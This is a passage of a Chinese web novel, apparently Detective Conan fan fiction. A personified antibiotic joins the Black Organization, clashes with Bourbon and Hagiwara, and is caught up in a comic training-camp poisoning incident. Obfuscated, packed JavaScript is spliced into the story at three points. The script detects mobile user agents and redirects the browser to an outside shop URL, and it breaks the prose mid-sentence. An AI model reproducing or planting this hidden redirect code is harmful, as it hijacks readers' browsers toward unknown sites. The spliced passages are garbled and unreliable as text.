这么想着,头孢看金发男人愈发顺眼,嘴角上扬2个像素点: “至于任职单位……目前我还没通过那里的考核,不确定会不会留下,就不说了。走吧,我送你回咖啡厅。” 他说完便朝巷口走去。安室透将这番话于心中反复推磨,眼底掠过复杂神色,最终还是跟上去,扬起一抹笑: “回去就不必了,我还是打算去医院看看,毕竟刚好请了假。” 头孢脚步一滞,“那我可能没法送你,我要在咖啡厅门口等朋友。” “没关系,我叫了另外的友人来接我。”安室透不着痕迹地套取信息,“青岛君方便留个联系方式吗?也许以后可以一起喝咖啡。” 头孢却摇头,“抱歉,我不是很喜欢用手机。” 这是实话。而且等他正式加入组织,电子设备恐怕也会受到监视,他不能让无辜细胞再联系他。 安室透笑容淡了些:“是吗?那真可惜。” “安室先生。” 头孢回头看他,叮嘱道:“今天的事到此为止。你回去好好休息,不要悲伤过度,如果身体还有不适,建议去医院检查。” 想了想,他补充道:“毕竟你看起来真的很弱。” 这么一番叮嘱总该记住他了,不过他怎么还没收到任务完成提示?难不成威胁还没彻底排除? 安室透眼底最后一点笑意消失了。 “好吧。” 尽管暗地里咬牙切齿,可他还是耸耸肩,在咖啡厅外站定,“那我们有缘再见,谢谢您今天的……关心。” 两人在咖啡厅门口分开。安室透最后看了眼白发青年,转身走向街对面——那里停着一辆黑色的三菱 Lancer evo IX。 敲开车窗,驾驶位上的男人藏在阴影里,仅露出小半截带着胡茬的下巴。 安室透率先开口:“如何?” 男人摇摇头,抬手递来一张纸条。安室透看完沉下脸色: “没有可疑人员,U盘消失……看来在你和那个帮派到场前,就有第三方插手了。” 透过降下一半的车窗,安室透打量着仍然站在咖啡厅外的青年,再抬头,又一张纸条塞到他眼前。 他挑眉,“你怀疑后面那个?的确是个很好的怀疑对象,但他的身手不错,我要找其他机会接近他。现在最重要的是……” 话音戛然而止。 手机振动,是贝尔摩德的邮件: [接到人了吗?——V] 安室透冷笑,回复: [没有。你的小朋友不会被案子吓跑了吧?三次了,把联系方式给我,这次我自己找。——B] 几秒后,一串号码发来。 安室透心说一早这么痛快不就好了,随后复制号码拨了过去。电话接通的同时,他若有所感地转头—— 咖啡厅门口,头孢听着口袋里的震动,后知后觉是手机在响。 他迟疑地拿出手机,“喂?” 电话里只有脚步声与衣料窸窣,片刻后消失,与此同时眼前投下一片阴影。 头孢抬头,就见本应离开的金发男人又折返回来,正站在他面前,弯着眉眼。 ‘安室先生?’他做了个口型。 安室透没回答,只是抬手——头孢这才发现对方也拿着手机,放在耳边。 雨后的阳光从云层缝隙漏下,洒在那头耀金的发上,让眼前的男人看起来干净得不染尘埃,仿佛与泥泞的世界格格不入。 下一秒,金发男人扬起一个甜得瘆人的笑容: “青岛先生?” 头孢的手机里发出相同的声音。 “或者说,我该叫你……贝尔摩德介绍来的新人君?” 头孢缓缓、缓缓地,张开嘴。 啊。 原来如此。 “是你,波本。” 4. 四颗头孢 【更新资料……】 【姓名:安室透(无辜阳光的波洛咖啡店员工,兼职侦探,组织干部波本)危险评级:A+】 【任务洞悉:得罪安室透(已完成,奖励商城积分x1000、系统阵营识别能力已发送)。】 【新任务:打入组织(一个月内)】 【任务描述:虽然收到了波本的猜忌x7,但您成功与其建立了羁绊。接下来请如法炮制,打入组织——记住,我们的时间不多了。】 【任务奖励:商城积分x2000,世界平衡进度+5%。】 【失败惩罚:世界平衡进度永久性丢失15%。】 【特殊提示:目睹太阳坠落以后,你还能否拉着他们一起逃离命运的手?[该提示宿主不可见]】 他早该意识到的。 头孢心想。 巧合的时间,巧合的地点,巧合的等朋友……当无数巧合堆叠在一起,巧合便不再是巧合。 甚至回忆起来,金毛杂菌的第一个问题都透着反常。并非‘你是谁’、‘你要做什么’,而是‘你想要什么’,寻常细胞遇到拦路捂嘴可不会如此冷静。 只可惜,他根据描述先入为主,结果波本不仅不是好细胞,还让他完成了【得罪安室透】这种任务,明明他一直在保护对方。 早知道就下药了。 头孢面无表情地坐进车里——尽管这张脸根本做不出大动作,鼻腔就被混杂的杂菌气息刺激得发痒,手指也在身侧微微抽动,很想对车内进行彻底消杀。 另外,波本不是已经接到他了?这算打入组织吧,怎么任务还没完成? 【呃,或许是需要正式入职?他们应该有考核流程…等等!你真在我休眠时把任务完成了?!】 系统的声音带着刚醒的模糊,咪咪呜呜地撞进意识中。头孢望向窗外的眼平静地眨了下,这次系统醒得比往常快,应该是好兆头。 【你睡了一小时。】 【十分抱歉!下次我一定会赶上任务的!】 不理解系统为什么总是很抱歉,可头孢还是在意识海里拍拍系统的脑壳,应了一声:【好。这次加上小阵那次,2000积分应该够了,拜托你开启商城权限。】 阵营功能暂且不看,这一车绝对都是杂菌。反而他对商城好奇已久,如今正好见识一下。 【哦哦好的!】系统拍拍胸脯:【已开启商城,请宿主过目!】 商城是系统在能量恢复过程中,给予头孢的杀菌回馈,完全的互惠互利。 掠过[十包消毒湿巾]、[白大褂]这类用钱也能买到的道具,头孢锁定了价值1800积分的[电子产品信息读取功能·永久],毫不心疼地点击兑换,这样他就可以读取U盘资料了。 很快,系统读取到的信息就展开在识海里:U盘内是[龙之会]内部派系斗争的大部分记录,以及若头的犯罪证据。 贩|毒、人口买|卖……桩桩件件足够将龙之会连根拔起,毕竟日本黑|帮还没合法到这些事也要无罪的地步。 而如果资料属实,那龙之会也是全员杂菌,是他的肃清对象…… 在心里把信息过了一遍,头孢视线转向车内同样需要肃清的家伙。 驾驶位的男人头戴兜帽,全程沉默,后视镜里只能瞥见对方略带胡茬的下巴。头孢转而看向身侧的波本—— 一个鼻子两只眼一张嘴。 虽说是杂菌,但原来波本不是大卡车,也没有鞭毛吗…… “喂,你在看哪里?” 顶着毫不掩饰的炽热视线,安室透不悦地眯起眼,语气不善,“在咖啡厅还没看够?” 头孢想了想,诚实回答:“不,只是看到你有点反胃。” 精心呵护的金毛细胞秒变金黄色葡萄球菌,他现在真的很难过,难过到胃痛。 “…哈?”安室透这次是真气笑了。 “青岛先生,或者说……新人君。”安室透压低声音,咬字缱绻,“在你开口前,最好先确认现状。” 他倾身逼近,试图从那张脸上找出一丝畏惧,却在看到那淡漠依旧的表情后更加窝火,语气不由冷了几分: “袭击代号成员,就凭这一点,你在组织里只会有一个下场。” “贝尔摩德让我来接你,但她可不会当你的护身符。而你能不能见到明天的太阳,全看我的心情……懂么?” 白发青年不说话了。 就在安室透以为震慑起效时,对方突然开口:“明天是阴转小雨。” 安室透:? 你小子油盐不进是吧! 眼角狠狠一跳,安室透觉得自己血压都高了。 自从十年前取得代号,除了加拿大威士忌,还没人敢这么明目张胆地挑衅他。到底是贝尔摩德没交代清楚组织的等级制度,还是青岛纯生有恃无恐? 但不论怎么说,他都要对方得到教训。 前排伸来一部手机,屏幕亮着:【需要我找个安静的地方停车吗?】 安室透摇摇头退回座位,抱臂冷笑:“不用,马上到了,直接送他去训练营就好。” 头孢耳尖一动,“训练营?” 组织似乎没有入职军训的习俗,那就是去当医生? “贝尔摩德没告诉你?” 如他所想,安室透退出邮箱界面,收起手机,语气恢复冷淡:“你的考核由我负责。组织在东京的训练营刚好缺一位医生,你去正合适。” 刚好二字咬得意味深长,未等头孢细想,车子就驶进一处停车场,刚一停下,窗外就小跑来一名黑衣寸头男。 系统提醒:【是训练营的教官,来接你的。】 头孢沉吟一声:【这样么,我明白了。】 没有按照身边金发男人的眼神示意下车,头孢从口袋里掏出U盘递过去,“给你。” 安室透眼神一凛,“这是…?” “从死细胞身上掉下来的。”头孢坦诚道:“你应该需要它。” 既然金毛杂菌要对付龙之会,那就相当于帮他杀菌,只要能完成消杀,过程不重要。 细胞?还真是奇怪的口癖。 安室透接过U盘,于指间翻转把玩,目光多了丝意味深长:“你知道交出它意味着什么吗?” 意味着对方放弃了唯一可以作为底牌的、能够与自己谈判的筹码。 虽然安室透认为自己不会被区区U盘威胁,可青岛纯生为什么要这么做? 头孢并未立刻回答,而是偏头问道:“没有这个你会被追责么?” 安室透转动U盘的动作一顿。 察觉到这细微的停滞,头孢点点头,“那这样就好。” 说罢,他推门下车。 金毛杂菌找不到U盘→被杂菌高层问责→受处罚甚至被销毁→龙之会的杂菌无人处理……这样的循环一点都不符合他的杀菌宗旨,所以他才会将U盘还给金毛杂菌,达成杂菌互杀。 而且他要专注于完成加入组织的任务,没精力去对付龙之会,剩下的就交给金毛杂菌了。 望着青年推门而去的背影,安室透怔愣片刻,忽地看向前排阴影里的男人。 在看到对方唇边弯起的些微弧度后,他咬了咬牙,推门下车,让正要带白发青年离开的寸头一愣,慌忙弯下腰: “波本大人……” “不用管我,”安室透挥手打断对方,声音冷硬,“我顺路去训练营转转。” “诶…是、是!您这边请。” 寸头教官懵了。 之前不还暗示他‘好好关照’新医生,怎么波本大人亲自跟下来了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149330|196426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘶……难不成关照是字面意思? 念头刚一闪过,三菱车的前门打开,本应留在车内的兜帽男人也下了车。这下不止寸头教官,就连安室透也难掩诧异: “苏格兰?” 苏格兰只是颔首,便站到白发青年另一侧,比了个手势:‘走吧。’ 寸头教官:? 本应来接人的寸头教官莫名其妙地被挤到后面,脸色风云骤变,看着三人的背影惊疑不定。 太怪了…这新人什么来头,完全超过‘被关照’的范围了啊!这架势分明是护送吧! 谁家写作关照、读作找茬,是两个代号干部把新人夹在中间走、还说说笑笑的?反正他没见过! 暗自庆幸自己刚才态度还算端正,寸头教官缩着脖子坠在三人后方。而被夹在中间的头孢,此刻终于有机会看清司机的全貌。 与预想中的冷硬面孔不同。除去下巴上的胡茬,苏格兰五官清秀,气质沉静如水,甚至还有一双漂亮的蓝色猫眼。 如果波本是低温太阳,那苏格兰更像温暖的月亮,简直是两种极端。 “你在看哪里?”金毛杂菌说话了,眼神怀疑,“规则都记住了?” 他怎么感觉这家伙在走神偷看苏格兰? 头孢目不斜视,“记住了。” 系统哀叹:【别让我帮你记啊!重要信息漏了怎么办?】 踏入电梯,头孢沉吟片刻,真诚提问:【那你还能做什么?】 如果系统能提供给他实用性的帮助,那波本说的内容他来记也可以。 系统:?? 可恶,瞧不起谁呢!不要小看世界意识啊! 系统气呼呼地蹲进识海角落。头孢不解地敲敲角落里的蘑菇,没得到回答,便收回注意,改为观察基地的建设。 组织基地内部更像多层训练场套叠在一起,倒没有科幻片里那样大,下电梯不出两分钟,一行人便来到一间标有红十字的房前。 “以后这就是你的医务室,具体规矩藤田会告诉你。另外,这处训练营有个规矩,那就是轮值。” 安室透伸手,姓藤田的寸头教官立刻奉上排班表。金发男人扫了一眼,忽地勾起唇角: “真巧,今晚就是你轮值夜班。好好工作,新人君。” 人既已进入组织,那就跑不掉了。既然U盘到手,那他就不用再去搜集情报,当务之急是处理龙之会,青岛纯生给他下药一事可以秋后算账。 更何况,只要想到青岛纯生成了训练营的医生,安室透便觉此前种种冒犯都可一带而过—— 毕竟,他没必要和一个注定倒霉的家伙置气。 安室透笑容愈发灿烂,看得藤田背后发凉,头孢却认真点了头: “我会的。” 他无需进食和睡眠,夜班对他来说反而是整理思绪的好机会。况且,加入组织的任务仍未完成,通宵值班或许也是考核的一环。 得积极应对才是。 这么想着,头孢突然想起波本之前说要去医院,刚要开口说什么,却听医务室的门锁忽地传来‘咯哒咯哒’的声音。 四人瞬间扭头看去,撬锁声停了,门被推开一条缝,一个半长发男人侧身挤进来。他扫视屋内,紫罗兰色的眼睛在看到头孢时亮了亮: “哇哦,又换了新医生?真快啊。” 头孢眯起眼,“又?” “是啊,是‘又’哦。” 男人瞥了眼面色陡然阴沉的安室透,笑意加深: “他们没告诉你?嘛,先不说这个……” 他径自走到诊疗床边坐下,撩起袖口,冲白发青年眨了眨眼:“正好你在,就让我帮训练营的各位检验一下你的医疗水平好了,新人君~” “不过还请轻拿轻放,毕竟我可是很怕疼的。” 5. 五颗头孢 头孢没动。 他只静静盯住半长发男人的眼睛,久到对方眼皮都开始轻微痉挛,才从胸前口袋里抽出一张卡片,递过去。 对方迟疑地接过,“这是?” “再晚一点,你的伤口就愈合了。” 头孢指指自己的太阳穴,语气诚恳,“我认为你更需要这个,这是东京第一医院精神科主任的电话。” 半长发男人:“……” 他不是精神病啊可恶! 安室透:“…咳!” 用咳嗽掩盖笑意,安室透瞥见半长发男人罕见垮掉的表情,心情大好。他转向头孢,语气恢复了公事公办的冷淡: “别随随便便就死了,明天我接你去考核。苏格兰,我们走。” 虽然被这家伙呛声很让人窝火,但看青岛纯生呛别人,尤其是和他一直不对付的田纳西,他就忽然开心了。 这么一想,青岛纯生还算有点意思,先留对方蹦跶几天吧。 头孢对留在此地毫无异议。等一行人的脚步声彻底消失,他反锁上门,走进处置室,视线扫过明显减少的医疗包和针剂,黑眸眯起。 系统小心翼翼地问:【怎么了?他拿了很重要的东西?】 头孢回忆起半长发杂菌往怀里塞东西的动作,摇头: 【不。只是奇怪,那点伤为什么要用到绷带和麻醉,而且他在病原体中似乎地位不低,不该连医疗包都要撬锁进来拿……不过我更在意另一件事。】 用湿巾抹了把桌面,头孢看着瞬间变灰的湿巾,再看看墙角那滩早已干涸发黑的血迹,对系统道: 【我大概明白金毛杂菌为什么说别死了。】 系统支棱起来:【哦哦!他关心你?】 【怎么可能。】 头孢捏起托盘里用过的手术刀一角,将之丢进酒精里,一边分析: 【是因为作为考核官,我死了,他的考核没办法继续,可能会影响金毛杂菌的晋升和评优评先。】 【?】系统被唬住了,但它总觉得不对劲:【你们那的病原体还有评优评先?】 【有吧。】 头孢回忆一下树突细胞跟他说过的科普,继续道: 【而且,担心谁应该看着对方的眼睛,可他没有与我对视。所以金毛杂菌只是在提醒我别添乱,绝对不是在关心我。】 系统沉默良久:【……你好懂啊。】 它现在有些震惊于头孢激增的情商了,难不成真是自己误会了头孢?其实这孩子不是不会说话,而是话里有话? 头孢颔首:【和狡猾的杂菌打交道,多少要懂点。好,该说说今晚的重点了。】 清点好随身的药剂,白发青年坐到唯一干净的诊疗床上,仰望天花板上喷溅的血迹。 按理说,医生的工作环境应该被优先保障,这也是对患者健康的保证。 可这间医务室却只有床、处置室和药柜相对整洁,层叠的血迹表示这里曾发生过流血事件,单纯处理伤口不会如此,多半是有细胞或杂菌死在了这里。 而落灰的桌面和器械又与半长发杂菌说的‘换新医生’的说法矛盾——显然无论是‘又’还是‘新’,都不该让处于地下的医疗室积攒如此厚重的灰尘。 【所以,有人一直在针对这里的医生,今晚的值班必然不会太平。】 【那我们接下来怎么办?找个角落躲过今晚?】 头孢疑惑:【为什么要躲?】 系统不明白:【那你要主动找出袭击者?可我们没有线索啊。】 【的确没有。】 头孢看了眼手表,时针指向六点,再过不久就是全然的黑夜,随即从左边内袋取出一个不起眼的药包,放在手里掂了掂,声音放轻: 【但既然无法确定谁会袭击——】 系统:? 【那就把潜在袭击者全部杀掉,这样比一个个找省力多了,不是吗?】 系统:??? 不是,等等!这逻辑是不是有问题? 不要在别人的大本营大开杀戒啊啊啊住手! * 夜幕降临。 利用U盘内的资料迅速完成了对龙之会的布局,安室透目送着若头及其手下被警车押走,轻笑一声,便升起车窗隐没在黑暗里。 后续清理自有人处理,而安室透则决定早点回去休息。毕竟明天还要带那个新人考核,虽然单论武力,他毫不怀疑对方的通过率。 “但一名医生拥有堪比行动组的身手,你不觉得奇怪么,贝尔摩德?该不会根本没调查吧?” 身体还记得对方的力道。提到白色之人,安室透只觉胸口和后颈都在隐隐作痛,电话里的语气也不是很好。 听筒传来女人慵懒的笑:“职业影响罢了。况且你也查了吧,波本,吃瘪后不去反击可不像你的风格。” “……的确。” 恢复自由后,他就立刻动用人脉查了青岛纯生。资料显示,对方是临床医学博士,有一年的骨科科室实习经历。 骨科嘛,电锯锤子轮番上阵,力气比别人大很正常。可对方制服他的动作里隐隐带着官方的影子,这点或许只有他这个被‘挟持’过的人知晓。 他不会主动透露,毕竟他也有私心。可安室透必须向贝尔摩德点明疑虑,日后青岛纯生真出了问题,他今天的提醒就是免责声明。 “话说,你是怎么认识他的?他看起来可是很笃定你会保他。”安室透状似随口一问。 贝尔摩德轻笑,“也许他救过我的命,我打算知恩图报也说不定。” “哦?”安室透被逗乐了,“是通往天堂的路还是地狱之门?” 女声叹息:“真伤人啊,波本。你今天火气这么大,该不会又被加拿大威士忌招惹了?” “那倒没有,”男人唇角勾起,“而且今天看到那家伙的跟班在青岛纯生那里吃瘪,我还挺开心的。” “嗯哼,看来你们相处融洽。我听说是你和苏格兰护送新医生去的医务室呢。”贝尔摩德意有所指。 组织的训练营绝非善地。杀手预备役们为了有限的晋级名额互相厮杀,所有人都是竞争对手。 为此,他们会不择手段地杀死其他人,而在打伤对手后,为了阻止其得到治疗,袭击医生、破坏医务室也成了常规手段。 在青岛纯生之前,这处训练营于七年里折了十八任医生,三名凭借关系调到外围,而这三人中又有两位是缺胳膊少腿走的。 而有代号成员明确介入,对医生而言算是临时护身符,至少那些预备役们为了不得罪干部会有所顾忌。 但—— 挂断电话,安室透眼底闪过凝重,旋即又化开。 他暗示贝尔摩德疏忽调查,对方就点他袒护新人么……可惜,他绝不会与青岛纯生绑定,去训练营只是要物色好苗子而已。 这些年,属于波本的势力在扩张,却也令他分身乏术。为此,他需要挑选一个副手带在身边培养——至少忠心,像给加拿大开车的伏特加就不错。 结果被青岛纯生一打岔,他完全忘记了这回事,还是苏格兰回车上欲言又止的眼神提醒了他。 说回青岛纯生,那家伙不会有事吧?可别在他审讯对方前就莫名死掉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149331|196426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 犹豫片刻,安室透还是靠边停车,正要发邮件询问,一个电话抢先打了进来。 “波本大人…新医生在整个训练营范围下了药!现在一半人休克,还有人口吐白沫,还有#¥%……” 安室透:??? 还有什么你倒是说完啊! ……等等,藤田不会也…?! 顾不上回去休息,安室透猛打方向盘,将车开得飞起。十分钟后他冲进基地,远远就看见有人把一个黑衣寸头抬上担架,正是藤田。 他快步上前,厉声问:“到底怎么回事?” 寸头教官勉强睁眼,颤抖着指向一旁抱臂而立的白发青年,热泪盈眶:“波本…大人,是青岛……” “他……在水里…下毒!” 安室透锐利的目光直指白发青年:“解释。” 这事处理不好,就是他和贝尔摩德共同的锅。而且青岛纯生这家伙是见人就下毒吗?你下毒怎么还雨露均沾啊! 头孢却摇摇头,语气如常,一潭死水: “我还没来得及下毒。只是发现有鬼鬼祟祟的家伙向饮用水里投放不明物质,才打算去取样看看是什么。” 众人:? 你刚才是不是承认了原本想下毒?就这么轻易地说出来了吗! 看着藤田在担架上直翻白眼,安室透深吸一口气:“姑且相信你,那个投毒的人呢?” “被我放倒了。” 头孢抬手指向另一副担架上口吐白沫的杀手预备役,“他目击到了我,为避免打草惊蛇,我只好就地取材,把水先舀给他喝了。” “……那你本来想下毒是怎么回事?” 说到这个,头孢的眼神顷刻犀利:“因为这里有袭击医生的习俗,可我初来乍到,没办法看出是谁想害医生。” “所以?”安室透预感不妙。 头孢满意点头,“所以我决定把杂菌全放倒。” 系统:【都说了不要在敌人的地盘上挑衅啊啊啊啊啊啊!】 安室透:“??!” 找不出问题就解决掉会产生问题的人吗?这是什么暴力逻辑啊!! 但再怎么觉得无理取闹,鉴于青岛纯生没下药,只是稍微推波助澜知情不报了一下,组织也并非正义法庭,安室透还真就只能收拾烂摊子,把这件事压下去。 作为训练营的负责人之一,金发男人看着半个基地的人全被拉走抢救,后槽牙磨了又磨,最终挤出一句: “你还真是…帮了个大忙。” 他现在只能苦中作乐,想到可以凭借这次的中毒事件筛选成员体质了。 头孢谦虚接受:“不客气。” 他顿了顿,将男人端详一番,“你脸色好像有点发黑,也中毒了?” 天然黑皮·安室透:??? 讽刺是吧?硬了!拳头硬了! 然而不等他呛回去,推门声就打断了他波澜起伏的情绪。 白日里来过的半长发青年远远朝他们挥手,一边抬高声音:“好多人啊,这里是怎么了?” 见没人接话,他也不恼,而是径直走到头孢面前,头孢这才发现对方手里的便当盒。 便当被塞到怀里,一起闯入视线的是一对紫罗兰色的眼。 半长发青年浅浅笑着,“我是来还人情的,毕竟白天拿了你那么多医疗包呢。不过……” 他斜睨了一眼安室透,于后者的警告下笑意更甚: “你看起来好像被波本针对了哦,那么需要帮忙吗?我对处理这些麻烦事可是很有经验的。” “新↘↗人↑君→↗~” 6. 六颗头孢 萩原研二是来送便当的。 能让波本和苏格兰同时关注的新人本就不多见,更何况是个被塞进训练营当医生的“特殊人才”。所以他借着替幼驯染取药的由头,顺理成章地踏进了医务室。 可第二次来时,萩原研二的心态已经变了。 ——他对青岛纯生产生了兴趣。 那种兴趣混合着探究与玩味,就像发现了一个设计精巧却用途不明的装置。 萩原研二猛猛出击,甚至考虑到基地鸟不拉屎的地理位置,特意绕路去买了豪华便当,以还人情为由递到对方面前,又在察觉到波本与新人之间微妙的气氛后,公然挖墙脚。 他一向擅长与人打交道。只要他愿意,三分钟内能让戒备最深的陌生人卸下心防。 但显然,青岛纯生不是个人。 白发青年将便当塞回去,神色浅淡:“我不能吃你的食物。另外,我也没有被金毛菌针对。” 安室透:? 他环顾四周,确认走廊里只有自己一头金发,什么金毛菌,他吗?这家伙在给他取什么外号! 萩原研二眼中掠过一丝暗芒。他没有再次递出便当,而是将盒子捧在手中,夸张地叹了口气: “可我在门外都听见了哦?波本明明在怀疑你吧。” 他歪了歪头,紫罗兰色的眼睛里盛满无害的笑意,“而且都给人起这种绰号了,还不算讨厌他吗?” 对敌视的目光视若无睹就算了,毕竟都是上不得台面的家伙。但就连波本的怀疑也置若罔闻,还给对方取外号…… 这和当着老板的面骂对方是秃头有什么区别? 新人君该不会以为,做了这些事后还能在人黑心黑的波本手里全身而退吧? 对此头孢倒是很平静:“我和他的误会已经解除了,而且金毛菌只是……” 他顿住了。 “只是什么?”萩原研二追问。 头孢一时不知如何解释这个词。 在细胞界,杂菌不算友好的称呼,可金毛杂菌提醒过他危险,虽然阵营不同,但对方似乎有点良心,所以头孢没用这种贬义词再指代对方。 斟酌片刻,他给出了自认为妥当的解释:“只是一种昵称。” 萩原研二大为震惊,“你已经和波本熟到可以起昵称的地步了吗!” 他深吸一口气,目光扫过安室透微微抽搐的嘴角,认为自己仍有胜算。 “好吧,重新自我介绍一下。”萩原研二向前半步,声音压低到恰到好处的亲密距离,“我是萩原研二,代号田纳西——也是一款威士忌哦。” 他眨了下眼睛,紫罗兰色的眼里摇曳着蛊惑的光:“波本给你开什么条件?我出三倍。” 头孢却摇头:“这不是报酬的问题。” “那是什么问题?” 头孢很想如实回答,说波本是他的考核官,且他不可能离开这处杂菌大本营,系统就开了麦: 【呃,你要不先答应他?再拒绝会不会有点打脸?这对你的人际关系不好吧。】 而且,虽然它知道头孢不能吃人类食物,可黑方不知道啊! 萩原研二被拒绝时脸色超——恐怖的,这家伙看着纯良,但完全就是个白切黑厉鬼! 头孢不那么觉得:【可他看起来比金毛菌还友善。而且被拒绝这种事,多经历几次就习惯了。】 系统快窒息了:【你哪有那么多条命让他习惯啊!!】 就在系统准备长篇大论时,头孢已经开口:“我更喜欢留在这里。” 萩原研二余光瞥见安室透微微变化的脸色,心中了然。他笑容加深,语气却带上哀怨: “喜欢?可如果没猜错,是波本要求你待在这儿的吧?” “在训练营当医生很无聊的。两点一线的生活,用不了多久就会厌倦。但我能给你更多自由,真的不考虑吗?” “就比如……” 他靠近一步,甜蜜嗓音压得更低,仅容三人听见:“如果我说,跟我一起,你能接触到组织核心药物研发的权限呢?” “波本能给你这个吗?据我所知,医疗组的基础权限,可碰不到那些真正有趣的东西哦。” “田纳西!”安室透的声音陡然冷厉。 用药物权限挖人?这明摆是在…不,不对。 安室透瞬间反应过来。 这家伙平时对实验室决口不提,今天怎么……是试探青岛纯生对药物的态度? 他立刻看向白发青年,然而头孢并未直接回答那个诱人的提议,反而将视线落在便当盒上,突然开口: “里面是冷食,对吗?” 萩原研二一愣,下意识点头:“嗯?对哦,是金枪鱼沙拉和寿司……” “长期食用生冷食物,尤其是海产品,会增加寄生虫感染和胃肠道功能紊乱的风险。”头孢摇摇头,“所以出于健康考量,我推荐选择热食。” 萩原研二:??? 头孢迎向半长发青年错愕的目光,用平铺直叙的口吻解释道: “我的意思是,你说的核心药物就像冷食便当,或许美味,可我更倾向于健康热食,也就是训练营的医务室。” “所以,请恕我拒绝。” 走廊陷入短暂的寂静。 萩原研二眨了眨眼,脸上的笑容变得有些恍惚,却在瞬间散去。他缓缓拍了拍手,语气里是某种重新评估的意味: “这样啊……你还真是不赖呢。” “谢谢夸奖。”头孢点头,想了想又补充道:“虽然不吃便当,但还是要谢谢你的邀请,好心的紫色杆菌。” ——紫眼睛、形态细长的菌,真贴切。他都开始佩服自己的命名准确性了。 萩原研二的表情终于裂开了,“你的取名水平绝对是故意的吧!” 安室透在旁边嗤笑出声:“哈!真遗憾啊紫色杆菌,邀请失败了呢。” 他转向头孢,越看越觉得顺眼,话却是对萩原研二说的:“别总惦记着我的人。考核通过后,他会是我的副手。” 此话一出,周围吃瓜的预备役们脸色骤变。萩原研二瞳孔微缩,面上笑意彻底冷了下来。 紫罗兰色的眼眸蒙上晦暗阴影,眼睛的主人轻声呢喃:“真讨厌呀波本……当初抢走苏格兰就算了,现在连新人君也要抢吗?” 撇下一句令在场众人竖起耳朵的话,下一秒,萩原研二又恢复了轻佻的模样,仿佛刚才的阴郁从未存在,后退一步,耸耸肩: “好吧,那我只能忍痛割爱了。可惜没办法把新人君带回去送给小阵平,不过我的邀请长期有效哦。” 他语气轻快,却带着深意,“人总有想换口味的时候,我等着你觉得冷食也不错的那天。” 他将便当盒强行塞进头孢手里,便潇洒挥手,风风火火地离开了。 安室透盯着他消失在走廊尽头,没好气地翻了个白眼,快速在手机上输入了什么,随后转头对头孢目光复杂: “你应付他倒是很有一套。” 头孢打开便当盒——果然是冷食大全。他将盒子递给安室透。 “我只是陈述事实。”他说,“另外,冷食对肠胃不好,但你应该没问题。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149332|196426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他是抗生素,又不是打虫药,但金黄色葡萄球菌和寄生虫大概能和平共处。 安室透:“……???” 合着他的肠胃就不是肠胃了是吧! “呵。”金发青年气极反笑,“明早八点,医务室等我。我·亲·自带你去考核。” 他咬牙切齿地说完,瞪了头孢一眼,转身离开。 原本安排在明晚的考核必须提前。这破基地又没写“狗与田纳西不得入内”,要是在自己地盘被挖了墙角,他的脸往哪儿搁?不如早早把人拴在身边。 ……啊可是他好想反悔!青岛纯生这张嘴太可恶了! 但抛开这点,对方刚才那番应对确实漂亮。冷静、清醒,且立场明确——正是他需要的副手人选。 啧。 安室透一路表情变幻地坐进车里,看了眼时间,轻啧一声。 苏格兰应该出任务去了。本来还想睡前问问,为什么对方今天特意跟着下车护送…陪自己来训练营,还是算了,明天再问也不迟。 至于对青岛纯生的审问,也可以暂缓。人跑不掉,总有弄清楚的时候,或许这次考核就能看出端倪。 安室透联系下属处理完投毒事件的收尾,便驱车离开。头孢对日程变更没有异议,在众人混杂着惊恐与敬畏的目光中,回到医疗室旁的单间。 组织给他准备的房间虽小,但也五脏俱全。 头孢面无表情地站在冰箱前,戴上厚手套,从冷冻室里捏出化得血淋淋的内脏器官,又扫了眼被人为拔掉的冰箱插线。 他皱着眉从【商城】兑换了10积分的【绿色消毒组合】,又在墙角发现了三枚窃听器,顺手扔进垃圾桶里。 “好,现在可以住人了。” 十点前,房间恢复整洁。头孢躺上床,听见系统长舒一口气: 【今天你真是吓了我一跳,还好没起冲突……你拒绝萩原研二的时候,我差点以为要触发战斗剧情了。】 “如果说谎他们会发现吧,”头孢不以为然,“而且用多少来衡量自由这件事,本身就不自由,所以我不认为他会给我真正的行动权限。” 不过也多亏这次冲突,头孢才大致摸清了病原体组织的派系: 金毛菌和猫眼菌走得近,紫色杆菌和对方口中的小阵平菌是一伙,贝尔摩德则与金毛菌有联系。 而他目前则是金毛菌的待定副手,相信很快就能摸清这个组织的关系网,将他们一网打尽。 系统明白了,但有个疑问:【为什么贝尔摩德不是‘菌’?】 头孢歪了歪头:【巨噬细胞姐姐说过,涉及女性的事情最好当面询问意见。我还没再见过贝尔摩德。】 系统:【……】 尊重女性是这么用的吗?!而且你们那的细菌和细胞还分性别?? 它突然抓住重点:【那你下次见到她……】 